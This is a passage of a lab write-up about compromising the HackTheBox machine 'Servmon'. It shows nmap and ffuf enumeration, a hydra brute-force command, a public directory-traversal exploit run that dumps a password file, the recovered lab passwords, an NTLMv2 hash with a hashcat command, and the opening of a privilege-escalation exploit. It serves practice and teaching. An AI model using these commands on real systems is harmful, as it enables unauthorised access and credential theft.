SF:x20&amp;lt;/script&amp;gt;\r\n&amp;lt;/head&amp;gt;\r\n&amp;lt;body&amp;gt;\r\n&amp;lt;/body&amp;gt;\r\n&amp;lt;/html&amp;gt;\r\n&amp;quot;);
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8443-TCP:V=7.95%T=SSL%I=7%D=4/14%Time=69DE2582%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,74,&amp;quot;HTTP/1\.1\x20302\r\nContent-Length:\x200\r\nLocation
SF::\x20/index\.html\r\n\r\n\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
SF:\0\0\0\0\0\0\x12\x02\x18\0\x1aC\n\x07workers\x12\n\n\x04jobs\x12\x02\x1
SF:8\x1b\x12\x0f&amp;quot;)%r(HTTPOptions,36,&amp;quot;HTTP/1\.1\x20404\r\nContent-Length:\x
SF:2018\r\n\r\nDocument\x20not\x20found&amp;quot;)%r(FourOhFourRequest,36,&amp;quot;HTTP/1\.
SF:1\x20404\r\nContent-Length:\x2018\r\n\r\nDocument\x20not\x20found&amp;quot;)%r(R
SF:TSPRequest,36,&amp;quot;HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocumen
SF:t\x20not\x20found&amp;quot;)%r(SIPOptions,36,&amp;quot;HTTP/1\.1\x20404\r\nContent-Length
SF::\x2018\r\n\r\nDocument\x20not\x20found&amp;quot;);
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=4/14%OT=21%CT=1%CU=35362%PV=Y%DS=2%DC=I%G=Y%TM=69DE25E
OS:C%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=102%TI=I%CI=I%II=I%SS=S%TS=
OS:U)SEQ(SP=102%GCD=1%ISR=10A%TI=I%CI=I%II=I%SS=S%TS=U)SEQ(SP=104%GCD=1%ISR
OS:=10F%TI=I%CI=I%II=I%SS=S%TS=U)SEQ(SP=105%GCD=1%ISR=10B%TI=I%CI=I%II=I%SS
OS:=S%TS=U)SEQ(SP=107%GCD=1%ISR=10B%TI=I%CI=I%II=I%SS=S%TS=U)OPS(O1=M4E2NW8
OS:NNS%O2=M4E2NW8NNS%O3=M4E2NW8%O4=M4E2NW8NNS%O5=M4E2NW8NNS%O6=M4E2NNS)WIN(
OS:W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%DF=Y%T=80%W=FFFF
OS:%O=M4E2NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R
OS:=N)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%
OS:A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=N)
OS:U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%D
OS:FI=N%T=80%CD=Z)

Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
| 3:1:1: 
|_ Message signing enabled but not required
| smb2-time: 
| date: 2026-04-14T11:32:53
|_ start_date: N/A

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 119.15 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-14 13:33 CEST
Nmap scan report for 10.129.227.77
Host is up (0.029s latency).
Not shown: 65518 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5666/tcp open nrpe
6063/tcp open x11
6699/tcp open napster
8443/tcp open https-alt
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 26.55 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-14 13:33 CEST
Nmap scan report for 10.129.227.77
Host is up (0.029s latency).
Not shown: 993 closed udp ports (port-unreach)
PORT STATE SERVICE
123/udp open|filtered ntp
137/udp open|filtered netbios-ns
138/udp open|filtered netbios-dgm
500/udp open|filtered isakmp
4500/udp open|filtered nat-t-ike
5353/udp open|filtered zeroconf
5355/udp open|filtered llmnr
&lt;/code&gt;&lt;/pre&gt;

 &lt;/div&gt;
&lt;/details&gt;

&lt;/div&gt;

&lt;style&gt;
 #accordion-1c4a36a7fcdf18f2eab08f1f48d62297 &gt; details + details {
 border-top: 1px solid rgb(var(--color-neutral-200));
 }
 .dark #accordion-1c4a36a7fcdf18f2eab08f1f48d62297 &gt; details + details {
 border-top-color: rgb(var(--color-neutral-700));
 }
&lt;/style&gt;

&lt;style&gt;
 #accordion-1c4a36a7fcdf18f2eab08f1f48d62297 details[data-accordion-item] &gt; summary .accordion-chevron {
 transform: rotate(-90deg);
 transition: transform 200ms ease-in-out;
 }
 #accordion-1c4a36a7fcdf18f2eab08f1f48d62297 details[data-accordion-item][open] &gt; summary .accordion-chevron {
 transform: rotate(0deg);
 }
&lt;/style&gt;

&lt;script&gt;
 (() =&gt; {
 const root = document.getElementById("accordion-1c4a36a7fcdf18f2eab08f1f48d62297");
 if (!root) return;
 const items = root.querySelectorAll("details[data-accordion-item]");
 items.forEach((item) =&gt; {
 item.addEventListener("toggle", () =&gt; {
 if (!item.open) return;
 items.forEach((other) =&gt; {
 if (other !== item) other.removeAttribute("open");
 });
 });
 });
 })();
&lt;/script&gt;

&lt;/p&gt;

&lt;h3 class="relative group"&gt;OSINT &amp;amp; port 80
 &lt;div id="osint---port-80" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;Briefly - Servmon is a service that monitors websites, servers, and sends alerts depending on how it&amp;rsquo;s setup. NVMS 1000 is a tool from Voltex Security Systems, from what I see them make like surveillance cameras and other tools.&lt;/p&gt;
&lt;p&gt;The website looks like a monitoring dashboard for those surveillance tooling. Basic default credentials do not work. I ran ffuf to look for subdomains and other directories.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ffuf -u 'http://10.129.227.77/Pages/FUZZ.htm' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt&lt;/code&gt; and &lt;code&gt;ffuf -u 'http://10.129.227.77/' -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.10.129.227.77' -fs 340&lt;/code&gt; should do an alright basic enumerator, however I feel like I need to enumerate directories better.&lt;/p&gt;
&lt;p&gt;I found no other subdomains and some directories:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;login [Status: 200, Size: 2105, Words: 69, Lines: 60, Duration: 44ms]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;main [Status: 200, Size: 6126, Words: 1256, Lines: 142, Duration: 73ms]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Login [Status: 200, Size: 2105, Words: 69, Lines: 60, Duration: 40ms]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Main [Status: 200, Size: 6126, Words: 1256, Lines: 142, Duration: 74ms]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;changePassword [Status: 200, Size: 938, Words: 49, Lines: 43, Duration: 46ms]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;MAIN [Status: 200, Size: 6126, Words: 1256, Lines: 142, Duration: 48ms]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;changepassword [Status: 200, Size: 938, Words: 49, Lines: 43, Duration: 74ms]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ChangePassword [Status: 200, Size: 938, Words: 49, Lines: 43, Duration: 79ms]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;LogIn [Status: 200, Size: 2105, Words: 69, Lines: 60, Duration: 41ms]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;%3FRID%3D2671 [Status: 200, Size: 118, Words: 3, Lines: 5, Duration: 38ms]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;LOGIN [Status: 200, Size: 2105, Words: 69, Lines: 60, Duration: 36ms]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;login%3f [Status: 200, Size: 118, Words: 3, Lines: 5, Duration: 82ms]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;When I accessed that website I was automatically moved to &lt;code&gt;http://10.129.227.77/Pages/login.htm&lt;/code&gt; which both takes me into &amp;ldquo;Pages&amp;rdquo; and assumes a &amp;ldquo;.htm&amp;rdquo; extension which isn&amp;rsquo;t something I see often. I can also google around and see what webserver behaves like that as Wappalyzer only find JQuery.&lt;/p&gt;
&lt;p&gt;I will enumerate other possible extensions with and look for other folders besides &amp;ldquo;Pages&amp;rdquo; with &lt;code&gt;ffuf&lt;/code&gt; in a second, as there are a lot of other ports and I think I can find some low-hanging fruit before a full enumeration.&lt;/p&gt;
&lt;p&gt;There is an anonymous FTP access. Inside I found a folder &amp;ldquo;Users&amp;rdquo; containing two users - Nadine and Nathan.&lt;/p&gt;
&lt;p&gt;In Nathans file I found a &amp;ldquo;Confidential.txt&amp;rdquo; file containing this message from Nadine:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Nathan,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;I left your Passwords.txt file on your Desktop. Please remove this once you have edited it yourself and place it back into the secure folder.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Regards
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Nadine% &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;And as for Nadine, there was a to-do file containing:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1) Change the password for NVMS - Complete
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2) Upload the passwords
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3) Remove public access to NVMS
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;4) Place the secret files in SharePoint% &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;In this context &amp;ldquo;NVMS&amp;rdquo; likely means a network video management system which is a program used to manage CCTV/IP cameras.&lt;/p&gt;
&lt;p&gt;NSClient likely refers to NSClient++, a Windows agent used with Nagios for monitoring.&lt;/p&gt;
&lt;p&gt;Nagios is a monitoring tool used to track servers, services, and network devices. Nagios is very similar to servmon so I wonder if I will see both tools or maybe some hybrid. Also, I wonder if there will be some CCTV footage - let&amp;rsquo;s dig and find out.&lt;/p&gt;
&lt;p&gt;SMB null session is disabled, I tried basic creds for the known users and didn&amp;rsquo;t manage to get in.&lt;/p&gt;
&lt;p&gt;On port 8443 there is NSClient++ dashboard opened when access with HTTPS. When I accessed it I got a white page implying that I can&amp;rsquo;t see its content without some authentication. After I refreshed it a couple of times I got a login screen which I didn&amp;rsquo;t see before.&lt;/p&gt;
&lt;p&gt;I found this info about passwords.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The NSClient++ password can be found by running:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nscp web -- password --display
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;or you can sett a new password:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nscp web -- password --set new-password&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Looking at the information i gathered I should likely aim for Nathans Desktop, but I&amp;rsquo;m not sure how can I get there right now. Maybe with SMB if his desktop is the share, but without BFing and a bit of luck this doesn&amp;rsquo;t seem plausible.&lt;/p&gt;
&lt;p&gt;I can&amp;rsquo;t brute rid with smb, likely the guest account is disabled.&lt;/p&gt;
&lt;p&gt;I ran &lt;code&gt;hydra 10.129.28.144 -s 8443 -S -L users -P /usr/share/wordlists/SecLists/Passwords/Common-Credentials/10k-most-common.txt http-get &amp;quot;/auth/token?password=^PASS^:F=403 Your not allowed&amp;quot;&lt;/code&gt; on the HTTPS port just so I have some scans running in the background.&lt;/p&gt;
&lt;p&gt;The other directories I found don&amp;rsquo;t give much assistance, but some of them seem unfinished or not working correctly.&lt;/p&gt;
&lt;p&gt;I also started to BF extensions with &lt;code&gt;ffuf -u http://10.129.28.144/Pages/loginFUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/web-extensions-big.txt&lt;/code&gt; and look for other directories than &amp;ldquo;Pages&amp;rdquo; with &lt;code&gt;ffuf -u 'http://10.129.28.144/FUZZ' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fs 118&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Hydra didn&amp;rsquo;t find any common passwords.&lt;/p&gt;
&lt;p&gt;Other root directories:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;%3FRID%3D2671 [Status: 200, Size: 340, Words: 32, Lines: 13, Duration: 51ms]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Weird thing about this directory is that when I use it, it constantly refreshes and copies it&amp;rsquo;s subdirectory in the url in each iteration. Decoded means &amp;ldquo;?RID=2671&amp;rdquo; which is interesting.&lt;/p&gt;
&lt;p&gt;I didn&amp;rsquo;t find any other extensions.&lt;/p&gt;
&lt;p&gt;I just notices that there is LLMNR running on the host and no DNS. I will keep responder running in the background.&lt;/p&gt;
&lt;p&gt;I tested basic SSTI and SQL injections on the authentications. One thing to check would be sqlmap but I don&amp;rsquo;t feel like this is the right way.&lt;/p&gt;

&lt;h2 class="relative group"&gt;Foothold
 &lt;div id="foothold" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;
&lt;p&gt;Searchsploit found some public exploits for nvms-1000&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;NVMS 1000 - Directory Traversal | hardware/webapps/47774.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;OpenVms 5.3/6.2/7.x - UCX POP Server Arbitrary File Modification | multiple/local/21856.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;OpenVms 8.3 Finger Service - Stack Buffer Overflow | multiple/dos/32193.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TVT NVMS 1000 - Directory Traversal | hardware/webapps/48311.py&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Yup, I found a &lt;a href="https://github.com/AleDiBen/NVMS1000-Exploit" target="_blank" rel="noreferrer"&gt;nifty exploit&lt;/a&gt; on github for unwanted directory traversal. I read how it works, run it and found some creds!&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;azaeir@parrot (~/Desktop/htb/machines/servmon/NVMS1000-Exploit): python3 nvms.py 10.129.28.144 /Users/Nathan/Desktop/Passwords.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[+] DT Attack Succeeded
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[+] File Content
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;++++++++++ BEGIN ++++++++++
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1nsp3ctTh3Way2Mars!
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Th3r34r3To0M4nyTrait0r5!
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;B3WithM30r4ga1n5tMe
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;L1k3B1gBut7s@W0rk
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0nly7h3y0unGWi11F0l10w
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;IfH3s4b0Utg0t0H1sH0me
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Gr4etN3w5w17hMySk1Pa5$
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;++++++++++ END ++++++++++&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;I user users.txt file which holds both users - lower, and upper case versions - and run it through netexec against a list of passwords. There are two hits for nadine, against SMB and SSH with L1k3B1gBut7s@W0rk.&lt;/p&gt;
&lt;p&gt;Nadine has read access to IPC$ but sadly I can&amp;rsquo;t view any content. I did manage to run a rid bruteforce - here are the results:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SMB 10.129.28.144 445 SERVMON 500: SERVMON\Administrator (SidTypeUser)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SMB 10.129.28.144 445 SERVMON 501: SERVMON\Guest (SidTypeUser)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SMB 10.129.28.144 445 SERVMON 503: SERVMON\DefaultAccount (SidTypeUser)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SMB 10.129.28.144 445 SERVMON 504: SERVMON\WDAGUtilityAccount (SidTypeUser)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SMB 10.129.28.144 445 SERVMON 513: SERVMON\None (SidTypeGroup)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SMB 10.129.28.144 445 SERVMON 1000: SERVMON\Nathan (SidTypeUser)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SMB 10.129.28.144 445 SERVMON 1001: SERVMON\Nadine (SidTypeUser)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;There are no interesting, custom, unknown users. I counted that maybe there will be a user with RID 2671 but sadly that&amp;rsquo;s not the case.&lt;/p&gt;
&lt;p&gt;SSH access worked and I found a user flag on Nadine&amp;rsquo;s Desktop.&lt;/p&gt;
&lt;p&gt;In the root of the filesystem there is a RecData which holds what looks like to be SQLite database files:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RecordInfoDB.db3
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RecordInfoDB.db3-journal&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;I downloaded them with &lt;code&gt;scp&lt;/code&gt; and enumerated with &lt;code&gt;sqlite3&lt;/code&gt; but they are empty. From the schema and general context it looks like a database which would hold surveillance videos or data.&lt;/p&gt;
&lt;p&gt;Looking further, in program files I found folders for both NSClient++ and NVMS1000. I looked through them and noted more interesting files, found some certificates with private keys as well/&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Program Files\NSClient++\security
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Program Files\NSClient++\scripts\custom&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;I noted that down and searched for any simpler priv-esc possibilities.&lt;/p&gt;
&lt;p&gt;I decided to run WinPEAS and look what it finds.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;+----------¦ Enumerating NTLM Settings
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; LanmanCompatibilityLevel : (Send NTLMv2 response only - Win7+ default)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; NTLM Signing Settings
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ClientRequireSigning : False
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ClientNegotiateSigning : True
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ServerRequireSigning : False
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ServerNegotiateSigning : False
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; LdapSigning : Negotiate signing (Negotiate signing)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;+----------¦ Enumerating Named Pipes 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Name CurrentUserPerms Sddl
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; eventlog Everyone [Allow: WriteData/CreateFiles] O:LSG:LSD:P(A;;0x1201
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;9b;;;WD)(A;;CC;;;OW)(A;;0x12008f;;;S-1-5-80-880578595-1860270145-482643319-2788375705-1540778122)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; vgauth-service Everyone [Allow: WriteData/CreateFiles] O:BAG:SYD:P(A;;0x1201
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;9f;;;WD)(A;;FA;;;SY)(A;;FA;;;BA)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Folder: C:\Users\Nadine\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; FolderPerms: Nadine [Allow: AllAccess]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; File: C:\Users\Nadine\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini (Unquoted and Space detected) - C:\Users\Nadine\AppData\Roaming\M
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;icrosoft\Windows,C:\Users\Nadine\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; FilePerms: Nadine [Allow: AllAccess]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Potentially sensitive file content: LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21787
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;+----------¦ Enumerating Security Packages Credentials
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Version: NetNTLMv2 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Hash: Nadine::SERVMON:1122334455667788:847f1545e73196bfcc29b0eccb1a34dc:0101000000000000b7fb082aaacddc01e27df20ae5988a5d000000000800300030000000000000000000000000200000123997709cfe96c3cf5a71ae9cae03f41156e02642aed9e3642bae814b91bb1d0a00100000000000000000000000000000000000090000000000000000000000&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;This is a summery of the most interesting finds:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Judging by the NTLM settings, there is a possibility of a relay attack&lt;/li&gt;
&lt;li&gt;It found some named pipes, but nothing that screams direct priv-esc really&lt;/li&gt;
&lt;li&gt;There is a chance for persistence with the rights to the startup folder which is nice&lt;/li&gt;
&lt;li&gt;WinPEAS also found an NTLMv2 hash in packages credentials (in memory)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Let&amp;rsquo;s try to crack that NTLMv2 hash - &lt;code&gt;hashcat -m 5600 nadine.hash /usr/share/wordlists/SecLists/Passwords/Common-Credentials/xato-net-10-million-passwords.txt&lt;/code&gt;
Sadly, I didn&amp;rsquo;t manage crack it.&lt;/p&gt;

&lt;h2 class="relative group"&gt;Privilege Escalation
 &lt;div id="privilege-escalation" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;
&lt;p&gt;Learning from the foothold, I looked for any public exploits for both NVMS1000 and NSClient++ - seems like I found one for the latter.&lt;/p&gt;
&lt;p&gt;I need to verify the version to make sure.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nadine@SERVMON C:\Program Files\NSClient++&amp;gt;.\nscp.exe --version
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;NSClient++, Version: 0.5.2.35 2018-01-28, Platform: x64&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Yes, there is an exploit. Here&amp;rsquo;s a summery from the script itself:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# NSClient++ is a monitoring agent that has the option to run external scripts.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This feature can allow an attacker, given they have credentials, the ability to execute
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# arbitrary code via the NSClient++ web application. Since it runs as NT Authority/System bt
